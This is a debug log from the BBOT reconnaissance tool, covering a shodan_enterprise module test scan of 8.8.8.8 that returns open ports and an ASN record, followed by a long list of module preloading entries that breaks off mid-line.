IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-03-01 16:53:33,059 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-01 16:53:33,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,060 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,060 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:53:33,061 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,062 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:53:33,062 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:53:33,063 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,063 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,064 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:53:33,064 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,064 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,065 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,066 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:53:33,066 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:53:33,067 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:53:33,067 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,068 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,068 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,069 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,069 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,070 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,070 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,071 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:53:33,071 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,072 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:53:33,073 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:53:33,073 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:53:33,073 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,074 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,074 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,074 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,075 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:53:33,075 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:53:33,076 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,076 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,077 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,077 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,078 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:53:33,078 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,078 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,079 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:53:33,079 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:53:33,160 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:53:33,161 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,162 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:53:33,163 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:53:33,163 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:53:33,164 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,164 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:53:33,164 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:53:33,165 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:53:33,166 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:53:33,166 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:53:33,166 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:53:33,167 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:53:33,167 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:53:33,167 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:53:33,168 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:53:33,268 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:53:33,269 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:53:33,288 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:53:33,289 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:53:33,289 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:53:33,296 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:53:33,296 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:53:33,297 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:53:33,298 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:53:33,299 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:53:33,300 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:53:33,414 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_w29qre59v4 completed in 0 seconds with status FINISHED -2026-03-01 16:53:33,414 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:53:33,415 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:54:53,989 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:54:53,999 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:54:54,000 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:54:54,001 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:54:54,002 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:54:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:54:54,004 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:54:54,005 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:54:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:54:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:54:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:54:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:54:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:54:54,010 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:54:54,011 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:54:54,012 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:54:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:54:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:54:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:54:54,015 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:54:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:54:54,017 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:54:54,017 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:54:54,018 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:54:54,019 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:54:54,019 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:54:54,020 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:54:54,020 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:54:54,022 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:54:54,023 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:54:54,025 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:54:54,026 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:54:54,027 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:54:54,028 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:54:54,029 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:54:54,030 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:54:54,031 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:54:54,032 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:54:54,032 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:54:54,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:54:54,034 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:54:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:54:54,036 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:54:54,037 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:54:54,037 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:54:54,038 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:54:54,039 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:54:54,040 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:54:54,041 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:54:54,042 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:54:54,042 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:54:54,043 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:54:54,043 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:54:54,044 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:54:54,048 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:54:54,049 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:54:54,050 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:54:54,051 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:54:54,052 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:54:54,052 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:54:54,053 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:54:54,054 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:54:54,054 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:54:54,055 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:54:54,056 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:54:54,056 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:54:54,057 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:54:54,058 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:54:54,059 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:54:54,059 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:54:54,060 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:54:54,060 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:54:54,061 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:54:54,061 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:54:54,062 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:54:54,063 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:54:54,064 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:54:54,064 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:54:54,065 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:54:54,065 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:54:54,071 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:54:54,072 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:54:54,072 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:54:54,073 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:54:54,074 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:54:54,075 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:54:54,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:54:54,077 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:54:54,077 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:54:54,078 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:54:54,079 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:54:54,080 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:54:54,080 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:54:54,081 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:54:54,082 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:54:54,083 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:54:54,083 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:54:54,084 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:54:54,084 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:54:54,085 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:54:54,085 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:54:54,086 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:54:54,086 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:54:54,087 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:54:54,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:54:54,088 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:54:54,089 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:54:54,090 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:54:54,091 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:54:54,091 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:54:54,092 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:54:54,093 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:54:54,093 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:54:54,094 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:54:54,094 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:54:54,095 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:54:54,095 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:54:54,096 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:54:54,096 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:54:54,097 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:54:54,098 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:54:54,098 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:54:54,099 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:54:54,099 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:54:54,100 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:54:54,100 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:54:54,101 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:54:54,102 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:54:54,102 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:54:54,103 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:54:54,103 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:54:54,104 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:54:54,104 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:54:54,106 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:54:54,106 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:54:54,107 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:54:54,107 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:54:54,108 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:54:54,108 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:54:54,109 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:54:54,110 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:54:54,110 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:54:54,111 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:54:54,112 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:54:54,112 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:54:54,113 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:54:54,113 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:54:54,114 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:54:54,115 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:54:54,115 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:54:54,116 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:54:54,116 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:54:54,117 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:54:54,117 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:54:54,118 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:54:54,119 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:54:54,119 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:54:54,120 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:54:54,120 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:54:54,121 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:54:54,121 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:54:54,122 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 